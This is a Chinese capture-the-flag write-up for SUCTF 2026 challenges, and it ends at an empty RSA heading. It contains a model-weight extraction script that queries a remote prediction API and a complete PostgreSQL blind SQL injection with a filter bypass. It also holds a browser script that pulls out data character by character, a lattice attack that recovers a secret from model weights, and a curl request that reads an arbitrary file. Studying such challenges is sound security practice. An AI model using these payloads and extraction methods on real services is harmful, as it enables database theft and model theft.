文章总结: 文档记录了SUCTF2026两道题目解题过程。BabyAI题利用神经网络线性特性,通过查询接口收集输出并用最小二乘法逆向恢复全连接层权重;SQL注入题绕过WASM签名和关键字过滤,采用CASEWHEN布尔盲注逐字提取数据库信息,两题均成功获取flag。 综合评分: 87 文章分类: AI安全,CTF,WEB安全,漏洞分析,实战经验
SUCTF 2026 WP
原创
玄网安全 oPis 玄网安全 oPis
玄网安全
2026年3月17日 11:37 浙江
SUCTF 2026 – su_theif / BabyAI 复现笔记
0. 一句话思路
服务端模型整体是线性的;已知前两层卷积权重(来自 model_base.pth),未知的只有最后一层线性层,因此可以通过查询 /predict 收集输出,再用最小二乘把线性层参数直接解出来,最后把恢复出的权重上传 /flag 过逐层比对。
1. 服务端行为梳理
题目给了 Flask 服务端代码(app.py)以及一个基础权重(model_base.pth)。服务端主要两条路由:
/predict:输入一张 1×32×32 的图(json 传数组),服务端用当前模型前向推理,返回 256 维输出。/flag:上传一个模型参数文件(base64),服务端加载后与它自己的模型逐层做差,差异在极小阈值内就给 flag。
关键结构(从服务端 Net 能看出来):两层卷积 + 一层全连接,前向过程中没有 ReLU 之类的非线性,所以整个网络等价于一个大的仿射变换。
2. 为什么能“解参数”
题面提到远端模型是用 model_base.pth 做迁移学习得到的。常见套路是冻结前面的特征提取层,只训练最后一层分类/回归层。结合这里网络没有非线性,假设可以写成:
- 记输入为
x - 记前两层卷积(含 padding、stride 等)组成的特征映射为
f(·),输出为z = f(x),维度为 256 - 最后一层线性层输出
y = z W^T + b,其中W为 256×256,b为 256
在这个假设下:
f(·)的参数可直接从model_base.pth得到,因此给定x就能本地算出对应的z- 对同一组
x,服务端会返回对应的y - 于是未知量只剩下
W, b,它们满足标准的线性回归关系
3. 采样与线性回归怎么做
把 N 组样本堆起来写成矩阵形式:
Z:N×256(每行是一个样本的z)Y:N×256(每行是服务端返回的y)
有:
Y = Z W^T + 1 b^T
把偏置并入特征,拼一列常数 1:
Z' = [Z, 1]维度 N×257Θ = [W^T; b^T]维度 257×256
则:
Y = Z' Θ
只要 Z' 的列空间足够满(直观上 rank 逼近 257),就可以用最小二乘求 Θ:
- 至少要 N ≥ 257
- 实际上为了更稳,直接取 N=300 左右即可(多一点对噪声/数值误差更友好)
回归解出来后再把 Θ 拆回 W 和 b,然后把它们塞进本地模型的 linear 层并保存上传。
4. 复现脚本(solve.py)
下面是实现要点与伪代码(把流程写清楚即可,具体网络请求与序列化按题目接口补齐):
- 本地加载
model_base.pth,仅用于计算卷积部分的特征Z - 采样 N 组随机输入
x,逐个请求/predict得到对应Y - 把偏置并入特征,最小二乘解线性层参数
Θ - 把
Θ拆成W,b写回模型,序列化后上传/flag
import torch
import torch.nn as nn
import requests
import json
import numpy as np
import base64
import io
# Define the model structure
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.linear = nn.Linear(256, 256)
self.conv=nn.Conv2d(1, 1, (3, 3), stride=1)
self.conv1=nn.Conv2d(1, 1, (2, 2), stride=2)
def forward_features(self, x):
# Extract features up to the linear layer
x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0)
x = self.conv(x)
x = self.conv1(x)
x = x.view(x.size(0), -1) # Flatten
return x
def forward(self, x):
x = self.forward_features(x)
x = self.linear(x)
return x
def get_base_model():
# Load the provided base model
model_path = 'model_base.pth'
device = torch.device("cpu")
model = Net().to(device)
model.load_state_dict(torch.load(model_path, map_location=device))
return model
def query_server(image_data):
url = 'http://1.95.113.59:10003/predict'
try:
response = requests.post(url, json={'image': image_data})
if response.status_code == 200:
return response.json()['prediction']
else:
print(f"Error: {response.status_code}, {response.text}")
return None
except Exception as e:
print(f"Exception: {e}")
return None
def main():
base_model = get_base_model()
# Generate random input data
N = 300 # Need > 256 samples
# Generate random images
X_np = np.random.randn(N, 1, 32, 32).astype(np.float32)
X_list = X_np.tolist()
print("Querying server...")
# Collect data
Y_list = [] # Server outputs
# Pre-compute Z using base model locally
X_tensor = torch.tensor(X_np)
with torch.no_grad():
Z_tensor = base_model.forward_features(X_tensor)
Z_np = Z_tensor.numpy()
for i in range(N):
if i % 50 == 0:
print(f"Query {i}/{N}")
img_data = X_list[i]
y_pred = query_server(img_data)
if y_pred is None:
print("Failed to query server.")
break
Y_list.append(y_pred)
if len(Y_list) != N:
print("Not enough data collected.")
return
Y_np = np.array(Y_list)
print(f"Data collected. Z shape: {Z_np.shape}, Y shape: {Y_np.shape}")
# Solve for W and b: Y = Z * W^T + b
# Add bias term to Z for simpler solver
Z_bias = np.hstack([Z_np, np.ones((N, 1))])
# Solve Z_bias * Weights = Y using Least Squares
# Weights shape will be (257, 256)
W_sol, residuals, rank, s = np.linalg.lstsq(Z_bias, Y_np, rcond=None)
print(f"Residuals sum: {np.sum(residuals) if residuals.size > 0 else 'N/A'}")
# Extract weights and bias
weights_rec = W_sol[:-1, :].T # (256, 256)
bias_rec = W_sol[-1, :] # (256,)
# Check MSE on training set
Y_pred = Z_bias @ W_sol
mse = np.mean((Y_pred - Y_np)**2)
print(f"MSE on training set: {mse}")
if mse < 1e-5:
print("MSE is small. Assumption likely correct.")
# Construct the recovered model
new_model = get_base_model()
new_model.linear.weight.data = torch.tensor(weights_rec, dtype=torch.float32)
new_model.linear.bias.data = torch.tensor(bias_rec, dtype=torch.float32)
# Save model to buffer
buffer = io.BytesIO()
torch.save(new_model.state_dict(), buffer)
buffer.seek(0)
model_b64 = base64.b64encode(buffer.read()).decode('utf-8')
# Upload to get flag
flag_url = 'http://1.95.113.59:10003/flag'
try:
print("Uploading model to get flag...")
r = requests.post(flag_url, json={'model': model_b64})
print("Flag response:", r.text)
except Exception as e:
print(f"Error getting flag: {e}")
else:
print("MSE is large. Something is wrong.")
if __name__ == "__main__":
main()
可选自检:
rank(z_bias)接近 257 时更稳;若 rank 偏低,增大n或更换采样分布- 计算
mse = mean((z_bias @ theta - y)^2),假设成立时通常会非常小
5. 结果
本地用 mse 做一个自检:如果假设成立(卷积层冻结且前向无非线性),训练集上的拟合误差会非常小;随后上传恢复模型即可拿到 flag。
Flag response: {"flag":"Here is your flag: SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}"}
6. Flag
SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}
SU Query 注入题 Writeup
题目概述 题目提供了一个搜索页面,用户输入关键词后,前端会从 /api/sign 获取签名材料(nonce、ts等),然后调用两个WASM模块生成签名,最后向 /api/query 发送POST请求进行搜索。搜索框存在SQL注入漏洞,但服务器对 or、and、– 等关键字进行了黑名单过滤(不区分大小写),且每次请求必须携带正确的签名,因此无法直接使用 sqlmap 等工具。
信息收集 通过查看前端 app.js 可知:
搜索请求为 POST /api/query,JSON格式:{q, nonce, ts, sign}。
签名由 WASM 生成,需要每次动态获取。
错误信息回显:当注入语句出错时,会返回 PostgreSQL 错误,例如 ERROR: unterminated quoted string…,确认后端为 PostgreSQL。
观察正常搜索结果:输入 ‘||’ 返回了三条记录(id 1,2,3),而输入其他内容可能只返回一条或报错。由此推断查询语句类似:
SELECT * FROM notes WHERE title LIKE '%输入%' OR content LIKE '%输入%' LIMIT 20;
并且 ‘||’ 使条件恒真,返回所有记录。
绕过黑名单 由于 or、and 被过滤(大小写均无效),我们使用 || 连接字符串,并结合 CASE WHEN 构造布尔盲注。例如:
' || CASE WHEN 条件 THEN '%' ELSE 'no' END || '
当条件为真时,整个表达式结果为 ‘%’,匹配所有记录(返回三条);为假时结果为 ‘no’,可能只匹配到包含 “no” 的记录(实际测试中返回 id=2 的记录,因为 “no” 可能出现在某条笔记的标题或内容中)。这样我们就有了一个可靠的布尔指示器。
获取数据库名 编写 JavaScript 脚本在浏览器控制台运行,利用布尔盲注逐字符获取当前数据库名。关键 payload:
' || CASE WHEN substr(current_database(),{pos},1)='{ch}' THEN '%' ELSE 'no' END || '
脚本枚举字母和数字,最终得到数据库名:ctf。
获取表名 使用 pg_tables 视图枚举所有用户表。由于 pg_tables 可能被拦截,但实际测试中以下 payload 可用:
' || CASE WHEN EXISTS (SELECT 1 FROM pg_tables WHERE schemaname='public' ORDER BY tablename LIMIT 1 OFFSET {offset}) THEN '%' ELSE 'no' END || '
通过偏移量判断表数量,再逐表获取表名。最终得到两个表:posts 和 secrets。
获取列名 目标表 secrets 可能存放 flag。尝试使用 information_schema.columns 但被拦截,改用 PostgreSQL 系统表 pg_class 和 pg_attribute。通过以下 payload 判断列是否存在:
' || CASE WHEN EXISTS (SELECT 1 FROM pg_attribute WHERE (attrelid, attnum) = (SELECT oid, {attnum} FROM pg_class WHERE relname='secrets')) THEN '%' ELSE 'no' END || '
逐列探测,发现有两列(attnum=1 和 2)。然后逐列获取列名:
' || CASE WHEN substr((SELECT attname FROM pg_attribute WHERE (attrelid, attnum) = (SELECT oid, {attnum} FROM pg_class WHERE relname='secrets')), {pos}, 1) = '{ch}' THEN '%' ELSE 'no' END || '
得到列名:id 和 flag。
提取 flag 确定 secrets 表有 flag 列后,获取记录数:
' || CASE WHEN (SELECT COUNT(*) FROM secrets) = {n} THEN '%' ELSE 'no' END || '
得到只有一条记录。然后逐字符提取 flag:
' || CASE WHEN substr((SELECT flag FROM secrets ORDER BY id LIMIT 1 OFFSET 0), {pos}, 1) = '{ch}' THEN '%' ELSE 'no' END || '
脚本枚举常见字符,最终得到 flag 的前半部分,但在第25位遇到未知字符。手动测试发现是下划线 _,因此完整 flag 为:
(async function() {
const sleep = ms => new Promise(resolve => setTimeout(resolve, 800));
const input = document.getElementById('q');
const runBtn = document.getElementById('run');
const outElem = document.getElementById('out');
function isTrue() {
const text = outElem.textContent;
return text.includes('"id": 1') && text.includes('"id": 2') && text.includes('"id": 3');
}
async function query(payload) {
input.value = payload;
runBtn.click();
await sleep(800);
return isTrue();
}
console.log("开始提取 secrets 表中的 flag...");
// 获取记录总数
let rowCount = 0;
for (let n = 1; n <= 10; n++) {
const payload = `' || CASE WHEN (SELECT COUNT(*) FROM secrets) = ${n} THEN '%' ELSE 'no' END || '`;
console.log(`检查总数是否为 ${n}...`);
if (await query(payload)) {
rowCount = n;
console.log(`总记录数为: ${rowCount}`);
break;
}
}
if (rowCount === 0) {
console.log("无法获取记录数");
return;
}
const flags = [];
for (let i = 0; i < rowCount; i++) {
console.log(`正在提取第 ${i+1} 条记录的 flag...`);
// 获取flag长度
let length = 0;
for (let len = 1; len <= 100; len++) {
const payload = `' || CASE WHEN (SELECT LENGTH(flag) FROM secrets ORDER BY id LIMIT 1 OFFSET ${i}) = ${len} THEN '%' ELSE 'no' END || '`;
if (await query(payload)) {
length = len;
console.log(`第 ${i+1} 条 flag 长度为 ${len}`);
break;
}
}
if (length === 0) {
console.log(`无法获取长度,跳过`);
flags.push('?');
continue;
}
let flag = '';
for (let pos = 1; pos <= length; pos++) {
let found = false;
// 枚举常见字符集:小写字母、数字、大写字母、下划线、大括号、连字符等
const charsets = [
[97, 122], // a-z
[48, 57], // 0-9
[65, 90], // A-Z
[95, 95], // _
[123, 123], // {
[125, 125], // }
[45, 45], // -
[46, 46], // .
[47, 47], // /
[58, 58], // :
[59, 59], // ;
[61, 61], // =
[63, 63], // ?
[64, 64], // @
[33, 33], // !
[34, 34], // "
[35, 35], // #
[36, 36], // $
[37, 37], // %
[38, 38], // &
[39, 39], // '
[40, 40], // (
[41, 41], // )
[42, 42], // *
[43, 43], // +
[44, 44], // ,
[94, 94], // ^
[96, 96], // `
[124, 124], // |
[126, 126] // ~
];
for (let charset of charsets) {
for (let code = charset[0]; code <= charset[1]; code++) {
const ch = String.fromCharCode(code);
// 如果字符是单引号,需要在SQL中转义为两个单引号,但这里先不考虑
const payload = `' || CASE WHEN substr((SELECT flag FROM secrets ORDER BY id LIMIT 1 OFFSET ${i}), ${pos}, 1) = '${ch}' THEN '%' ELSE 'no' END || '`;
if (await query(payload)) {
flag += ch;
console.log(`第 ${i+1} 条 flag,位置 ${pos}: ${ch}`);
found = true;
break;
}
}
if (found) break;
}
if (!found) {
flag += '?';
console.log(`第 ${i+1} 条 flag,位置 ${pos}: 未知字符`);
}
}
flags.push(flag);
console.log(`第 ${i+1} 条 flag = ${flag}`);
}
console.log("所有 flag:", flags);
})();
25位会报错
' || CASE WHEN substr((SELECT flag FROM secrets), 25, 1) = '_' THEN '%' ELSE 'no' END || '
SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}
SU_babyAI
WriteUp1. 题目背景与逻辑梳理题目给出了一个 task.py 和一个模型文件 model.pth。网络结构:模型非常简单,包含一层 1D 卷积(Conv1d)和一层全连接(Linear),均没有偏置(bias=False)。计算流程:输入 为 Flag 的 ASCII 码序列。。最终输出结果 ,其中 ,噪声 。数学本质:由于卷积和全连接层都是线性的,且没有激活函数,整个过程可以合并为一个矩阵乘法:
其中 是由权重决定的转换矩阵, 是未知的 Flag, 是极小的扰动向量。这是一个经典的 LWE (Learning With Errors) 问题。2. 参数提取与矩阵合并首先需要从 model.pth 中加载权重,并将卷积层与全连接层合并。卷积核:,步长为 2。全连接层:权重矩阵为 。合并逻辑:对于卷积层的第 个输出节点 ,其输入源自 。通过全连接层后,第 个输出 。代入得: 的系数由 和 交叉相乘得到。3. 解题核心:格基规约 (LLL)直接搜索 ASCII 码空间由于存在噪声而变得不可行。我们利用 Kannan’s Embedding 将 CVP(最近向量问题)转化为 SVP(最短向量问题),构造如下格矩阵 :其中: 是提取出的未知系数矩阵。 是常数项偏移。 是一个较大的常数(如 160),用于平衡噪声。我们利用 known_chars(SUCTF{ 和 })减少变量数量,从而提高格规约的成功率。4. 完整求解脚本我们将提取权重与 SageMath 求解逻辑整合如下:
import torch
import torch.nn as nn
import os
# 1. 定义与题目一致的网络结构
class ModuloNet(nn.Module):
def __init__(self, n_in, m_out):
super().__init__()
self.conv = nn.Conv1d(1, 1, 3, stride=2, bias=False)
self.fc = nn.Linear((n_in - 3) // 2 + 1, m_out, bias=False)
# 2. 提取参数
n, m, q = 41, 15, 1000000007
model = ModuloNet(n, m)
if not os.path.exists("model.pth"):
print("错误:当前目录下找不到 model.pth 文件!")
exit()
model.load_state_dict(torch.load("model.pth", map_location="cpu"))
w_conv = model.conv.weight.squeeze().long().tolist()
w_fc = model.fc.weight.long().tolist()
# 3. 计算合并矩阵 M (将 Conv 和 FC 映射回原始输入 x 的系数)
M = [[0] * n for _ in range(m)]
for j in range(m):
for i in range(20): # conv_out_size
M[j][2*i] = (M[j][2*i] + w_fc[j][i] * w_conv[0]) % q
M[j][2*i+1] = (M[j][2*i+1] + w_fc[j][i] * w_conv[1]) % q
M[j][2*i+2] = (M[j][2*i+2] + w_fc[j][i] * w_conv[2]) % q
# 题目提供的最终输出 Y
Y = [776038603, 454677179, 277026269, 279042526, 78728856, 784454706, 29243312, 291698200, 137468500, 236943731, 733036662, 421311403, 340527174, 804823668, 379367062]
# 4. 识别已知位并构造 SageMath 脚本内容
known = {0: ord('S'), 1: ord('U'), 2: ord('C'), 3: ord('T'), 4: ord('F'), 5: ord('{'), 40: ord('}')}
unknown_indices = [i for i in range(n) if i not in known]
# 这一段是生成给 SageMath 跑的代码字符串
sage_code = f"""
# 这里的 A 是提取出的未知数系数矩阵
A = {[[M[j][i] for i in unknown_indices] for j in range(m)]}
Y = {Y}
M_full = {M}
q = {q}
known = {known}
unknown_indices = {unknown_indices}
m_eq = len(A)
n_unk = len(A[0])
center = 75
Y_shift = []
for j in range(m_eq):
val = Y[j]
for idx, char_val in known.items():
val = (val - M_full[j][idx] * char_val) % q
for i in range(n_unk):
val = (val - A[j][i] * center) % q
Y_shift.append(val % q)
dim = m_eq + n_unk + 1
B = matrix(ZZ, dim, dim)
for i in range(m_eq): B[i, i] = q
for i in range(n_unk):
for j in range(m_eq): B[m_eq + i, j] = A[j][i]
B[m_eq + i, m_eq + i] = 1
for j in range(m_eq): B[dim-1, j] = Y_shift[j]
B[dim-1, dim-1] = 1
L = B.LLL()
for row in L:
if row[-1] == 1 or row[-1] == -1:
res = []
try:
for i in range(n_unk):
val = int(row[m_eq + i] * (-row[-1]) + center)
res.append(chr(val))
flag = list(" " * 41)
for k, v in known.items(): flag[k] = chr(v)
for i, idx in enumerate(unknown_indices): flag[idx] = res[i]
print("FOUND FLAG: " + "".join(flag))
break
except:
continue
"""
# 解决 GBK 编码报错的关键:指定 encoding='utf-8'
with open("solve.sage", "w", encoding="utf-8") as f:
f.write(sage_code)
print("[+] solve.sage 生成成功!请在 SageMath 环境中运行它。")
# 这里的 A 是提取出的未知数系数矩阵
A = [[272085609, 396383543, 494007031, 399040219, 972748986, 202296425, 459920354, 437403861, 356326966, 666843844, 877599892, 680254806, 645585801, 626545139, 206531981, 908135784, 816576189, 78610148, 510680865, 201299987, 607940449, 16261592, 157905522, 491418849, 842887548, 841685693, 761777730, 708342844, 229302299, 543241653, 380201556, 334286757, 285636155, 890447872], [342168522, 466246804, 339496013, 467020982, 830279474, 550004483, 359897321, 736237555, 225884707, 425532367, 212801740, 784117828, 145425703, 610944881, 62012474, 174389776, 543546294, 830519816, 713373251, 95306386, 623520767, 402715508, 333330620, 610916449, 460943872, 556797782, 576863320, 329578125, 457423258, 905008424, 961277011, 233003641, 643222287, 322224784], [531659256, 284048271, 533371813, 819032061, 156632178, 242314153, 304350797, 749519070, 935918215, 953941188, 747780799, 653323288, 822510707, 613606008, 599963486, 617807025, 94392981, 194809503, 478128663, 232259576, 882583088, 521449091, 388441007, 986726029, 350944685, 865324066, 243307846, 26813300, 488857440, 3346686, 838345404, 233857372, 877138132, 31102178], [759193624, 862945881, 742401799, 686636745, 394692947, 994924687, 758861077, 942408095, 707073274, 962337380, 637284547, 900853497, 774322803, 614111157, 425321264, 86593130, 750498916, 241600472, 703399525, 242786558, 805493922, 417452151, 873050399, 564166018, 165518350, 260354709, 548847789, 768530909, 802689452, 658809962, 509036439, 556229762, 174336204, 724265949], [289014972, 275952382, 474466721, 711905666, 41969027, 934244555, 869105550, 715497227, 437168295, 762393939, 614761761, 87672075, 583605478, 996801119, 502924882, 820877041, 670210003, 60717591, 878647750, 258585708, 137559160, 771774661, 164490380, 772155598, 12264616, 390856621, 965984923, 485680995, 474826766, 85722717, 14931854, 62688537, 30294029, 327031992], [926397935, 52395077, 321599694, 717870203, 18308744, 571097191, 139405523, 855342923, 571232554, 26498702, 809160471, 211270633, 407674796, 445552816, 992056817, 222305947, 952509236, 768770636, 452875394, 376074943, 755807035, 525986808, 764415001, 385283319, 232844972, 836089046, 339517913, 232981440, 529081892, 44753025, 875864153, 807945308, 416507379, 548695807], [882930955, 330143448, 668524660, 967038996, 254377365, 112197009, 306896968, 637828608, 299080031, 369249803, 217935565, 97516953, 226083028, 554480529, 730994831, 146428624, 795251876, 491960916, 711667794, 178943730, 605580494, 322284866, 670204563, 98737636, 483536697, 864480720, 228727271, 246371566, 613246860, 633674268, 746713635, 718040498, 517435838, 550135994], [57813164, 965506478, 660853422, 937321249, 432271391, 29574460, 570700590, 861521763, 911400844, 301891372, 345895190, 293853422, 20776806, 697446128, 423282280, 363577477, 98915697, 631927857, 682727485, 983866043, 761761673, 358514355, 549569155, 482984849, 782589004, 646956175, 802715397, 759238958, 942983760, 901483550, 647706115, 531318728, 501669776, 351763824], [197516954, 273536870, 346299864, 842386688, 778958588, 846882146, 849581066, 893482406, 584963875, 68184106, 865387856, 631394988, 704610882, 906774629, 690285617, 921896383, 468897126, 249727015, 611369545, 682940389, 747571735, 804240196, 114766745, 699075626, 298505420, 9204552, 148660103, 658319408, 151967420, 288449611, 465960106, 63110968, 951009024, 206270474], [167879818, 278009125, 251956693, 44914366, 899661547, 454751618, 629512126, 474716667, 38933780, 318903764, 607453011, 192482933, 939805290, 848600448, 183498197, 455693111, 986959517, 829164635, 691256285, 377430513, 903052014, 254612147, 958067049, 314825871, 603247775, 855367656, 50912455, 670214511, 914596257, 771250298, 298741945, 398729874, 845361568, 941859065], [843688678, 933848617, 550841413, 189580833, 490554284, 667125955, 658916435, 151995543, 124602487, 36734711, 314582313, 18888867, 197923971, 160426642, 873583494, 128025435, 601084231, 882563937, 615538980, 421673048, 345657807, 478880324, 23118858, 614132257, 571076579, 212291448, 764444169, 817190780, 28443821, 125352400, 786072270, 556063878, 743063118, 415730806], [994253036, 770760868, 7261873, 837234960, 763554389, 264752798, 59733439, 446454747, 143440475, 410958898, 507038478, 868512721, 538559897, 569814514, 511775925, 543638171, 269922484, 573548454, 910422551, 427325639, 970818539, 869274668, 852786776, 157731472, 987217931, 341034065, 660472226, 360873313, 118501065, 421847405, 159140285, 119119815, 150645714, 78764345], [730677180, 706085831, 124205736, 690268997, 196373485, 87140182, 880039597, 976030377, 758768544, 797413203, 918763829, 289577194, 298054864, 274621268, 710884778, 159784166, 681645295, 991420359, 5759185, 94071487, 755254030, 774945968, 831026728, 26510261, 71681450, 29501237, 631075315, 866897175, 246471988, 637614623, 96538480, 229781635, 488020613, 879243105], [984785562, 341534572, 829855465, 789286983, 466535875, 55064090, 570102797, 271797897, 35598667, 177280558, 346667162, 939356648, 913829739, 961696302, 595595027, 434151076, 857863514, 627057271, 693196207, 799470737, 231781095, 547998617, 762033944, 150666539, 954496839, 262339699, 903626605, 878177499, 867478468, 141915798, 824930408, 285831943, 222151178, 864168621], [726214834, 164000474, 294813334, 84381864, 715903724, 987942037, 285333617, 666071967, 177567979, 916487119, 267424637, 996619298, 760071636, 989184136, 652724561, 31317495, 625044613, 344770082, 376784465, 3104322, 181888954, 47047228, 625109, 783490676, 303601480, 95680835, 435772271, 715975111, 583674735, 240708702, 561015569, 716165750, 137495064, 916161971]]
Y = [776038603, 454677179, 277026269, 279042526, 78728856, 784454706, 29243312, 291698200, 137468500, 236943731, 733036662, 421311403, 340527174, 804823668, 379367062]
M_full = [[850347478, 153478035, 93496111, 364510530, 273912907, 512020466, 272085609, 396383543, 494007031, 399040219, 972748986, 202296425, 459920354, 437403861, 356326966, 666843844, 877599892, 680254806, 645585801, 626545139, 206531981, 908135784, 816576189, 78610148, 510680865, 201299987, 607940449, 16261592, 157905522, 491418849, 842887548, 841685693, 761777730, 708342844, 229302299, 543241653, 380201556, 334286757, 285636155, 890447872, 837182682], [269070292, 424495740, 72880630, 691996708, 556465802, 260921977, 342168522, 466246804, 339496013, 467020982, 830279474, 550004483, 359897321, 736237555, 225884707, 425532367, 212801740, 784117828, 145425703, 610944881, 62012474, 174389776, 543546294, 830519816, 713373251, 95306386, 623520767, 402715508, 333330620, 610916449, 460943872, 556797782, 576863320, 329578125, 457423258, 905008424, 961277011, 233003641, 643222287, 322224784, 437220574], [693526370, 703750546, 794040162, 246244974, 599474087, 259002772, 531659256, 284048271, 533371813, 819032061, 156632178, 242314153, 304350797, 749519070, 935918215, 953941188, 747780799, 653323288, 822510707, 613606008, 599963486, 617807025, 94392981, 194809503, 478128663, 232259576, 882583088, 521449091, 388441007, 986726029, 350944685, 865324066, 243307846, 26813300, 488857440, 3346686, 838345404, 233857372, 877138132, 31102178, 429815619], [496270180, 512211050, 994901341, 736589709, 469247295, 40097736, 759193624, 862945881, 742401799, 686636745, 394692947, 994924687, 758861077, 942408095, 707073274, 962337380, 637284547, 900853497, 774322803, 614111157, 425321264, 86593130, 750498916, 241600472, 703399525, 242786558, 805493922, 417452151, 873050399, 564166018, 165518350, 260354709, 548847789, 768530909, 802689452, 658809962, 509036439, 556229762, 174336204, 724265949, 68415724], [787322204, 913570856, 417107470, 626219213, 211952775, 928616400, 289014972, 275952382, 474466721, 711905666, 41969027, 934244555, 869105550, 715497227, 437168295, 762393939, 614761761, 87672075, 583605478, 996801119, 502924882, 820877041, 670210003, 60717591, 878647750, 258585708, 137559160, 771774661, 164490380, 772155598, 12264616, 390856621, 965984923, 485680995, 474826766, 85722717, 14931854, 62688537, 30294029, 327031992, 877464957], [987225195, 372465703, 266990321, 446505604, 708663463, 363903304, 926397935, 52395077, 321599694, 717870203, 18308744, 571097191, 139405523, 855342923, 571232554, 26498702, 809160471, 211270633, 407674796, 445552816, 992056817, 222305947, 952509236, 768770636, 452875394, 376074943, 755807035, 525986808, 764415001, 385283319, 232844972, 836089046, 339517913, 232981440, 529081892, 44753025, 875864153, 807945308, 416507379, 548695807, 613225460], [268150137, 74442459, 526445844, 669258921, 64957034, 428055000, 882930955, 330143448, 668524660, 967038996, 254377365, 112197009, 306896968, 637828608, 299080031, 369249803, 217935565, 97516953, 226083028, 554480529, 730994831, 146428624, 795251876, 491960916, 711667794, 178943730, 605580494, 322284866, 670204563, 98737636, 483536697, 864480720, 228727271, 246371566, 613246860, 633674268, 746713635, 718040498, 517435838, 550135994, 26659456], [582433459, 715580380, 205187634, 316752893, 639069617, 109533172, 57813164, 965506478, 660853422, 937321249, 432271391, 29574460, 570700590, 861521763, 911400844, 301891372, 345895190, 293853422, 20776806, 697446128, 423282280, 363577477, 98915697, 631927857, 682727485, 983866043, 761761673, 358514355, 549569155, 482984849, 782589004, 646956175, 802715397, 759238958, 942983760, 901483550, 647706115, 531318728, 501669776, 351763824, 669699043], [253889306, 609023434, 349015095, 972735501, 592574525, 503120813, 197516954, 273536870, 346299864, 842386688, 778958588, 846882146, 849581066, 893482406, 584963875, 68184106, 865387856, 631394988, 704610882, 906774629, 690285617, 921896383, 468897126, 249727015, 611369545, 682940389, 747571735, 804240196, 114766745, 699075626, 298505420, 9204552, 148660103, 658319408, 151967420, 288449611, 465960106, 63110968, 951009024, 206270474, 475400885], [476181548, 830982897, 133750260, 399565756, 951062931, 783150923, 167879818, 278009125, 251956693, 44914366, 899661547, 454751618, 629512126, 474716667, 38933780, 318903764, 607453011, 192482933, 939805290, 848600448, 183498197, 455693111, 986959517, 829164635, 691256285, 377430513, 903052014, 254612147, 958067049, 314825871, 603247775, 855367656, 50912455, 670214511, 914596257, 771250298, 298741945, 398729874, 845361568, 941859065, 501130606], [654241964, 968328672, 483393176, 891254926, 347868552, 475812040, 843688678, 933848617, 550841413, 189580833, 490554284, 667125955, 658916435, 151995543, 124602487, 36734711, 314582313, 18888867, 197923971, 160426642, 873583494, 128025435, 601084231, 882563937, 615538980, 421673048, 345657807, 478880324, 23118858, 614132257, 571076579, 212291448, 764444169, 817190780, 28443821, 125352400, 786072270, 556063878, 743063118, 415730806, 489510110], [978880344, 500336061, 392296848, 211036623, 896105016, 157707319, 994253036, 770760868, 7261873, 837234960, 763554389, 264752798, 59733439, 446454747, 143440475, 410958898, 507038478, 868512721, 538559897, 569814514, 511775925, 543638171, 269922484, 573548454, 910422551, 427325639, 970818539, 869274668, 852786776, 157731472, 987217931, 341034065, 660472226, 360873313, 118501065, 421847405, 159140285, 119119815, 150645714, 78764345, 245797401], [229103030, 68941404, 765241321, 255990132, 871011073, 261814548, 730677180, 706085831, 124205736, 690268997, 196373485, 87140182, 880039597, 976030377, 758768544, 797413203, 918763829, 289577194, 298054864, 274621268, 710884778, 159784166, 681645295, 991420359, 5759185, 94071487, 755254030, 774945968, 831026728, 26510261, 71681450, 29501237, 631075315, 866897175, 246471988, 637614623, 96538480, 229781635, 488020613, 879243105, 826567643], [294034962, 118449019, 39770890, 837770816, 817378388, 836873817, 984785562, 341534572, 829855465, 789286983, 466535875, 55064090, 570102797, 271797897, 35598667, 177280558, 346667162, 939356648, 913829739, 961696302, 595595027, 434151076, 857863514, 627057271, 693196207, 799470737, 231781095, 547998617, 762033944, 150666539, 954496839, 262339699, 903626605, 878177499, 867478468, 141915798, 824930408, 285831943, 222151178, 864168621, 869678559], [700881229, 739712429, 857326633, 651373376, 983540409, 725022146, 726214834, 164000474, 294813334, 84381864, 715903724, 987942037, 285333617, 666071967, 177567979, 916487119, 267424637, 996619298, 760071636, 989184136, 652724561, 31317495, 625044613, 344770082, 376784465, 3104322, 181888954, 47047228, 625109, 783490676, 303601480, 95680835, 435772271, 715975111, 583674735, 240708702, 561015569, 716165750, 137495064, 916161971, 48259994]]
q = 1000000007
known = {0: 83, 1: 85, 2: 67, 3: 84, 4: 70, 5: 123, 40: 125}
unknown_indices = [6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39]
m_eq = len(A)
n_unk = len(A[0])
center = 75
Y_shift = []
for j in range(m_eq):
val = Y[j]
for idx, char_val in known.items():
val = (val - M_full[j][idx] * char_val) % q
for i in range(n_unk):
val = (val - A[j][i] * center) % q
Y_shift.append(val % q)
dim = m_eq + n_unk + 1
B = matrix(ZZ, dim, dim)
for i in range(m_eq): B[i, i] = q
for i in range(n_unk):
for j in range(m_eq): B[m_eq + i, j] = A[j][i]
B[m_eq + i, m_eq + i] = 1
for j in range(m_eq): B[dim-1, j] = Y_shift[j]
B[dim-1, dim-1] = 1
L = B.LLL()
for row in L:
if row[-1] == 1 or row[-1] == -1:
res = []
try:
for i in range(n_unk):
val = int(row[m_eq + i] * (-row[-1]) + center)
res.append(chr(val))
flag = list(" " * 41)
for k, v in known.items(): flag[k] = chr(v)
for i, idx in enumerate(unknown_indices): flag[idx] = res[i]
print("FOUND FLAG: " + "".join(flag))
break
except:
continue
FOUND FLAG: SUCTF{PyT0rch_m0del_c4n_h1d3_LWE_pr0bl3m}
题目:SU_Thief 配置不当导致任意文件读取
(做这题想笑😀,后面没招了访问/root/flag怎么就有flag了,当时在想真这么简单?后面做完RSA回头访问又没有了) 使用 curl 直接访问:
curl -i http://156.239.26.40:13333/root/flag
返回 HTTP 200 并直接输出了 flag 内容:
HTTP/1.1 200 OK
Content-Length: 36
Server: Caddy
...
SUCTF{c4ddy_4dm1n_4p1_2019_pr1v35c}
题目:SU_RSA
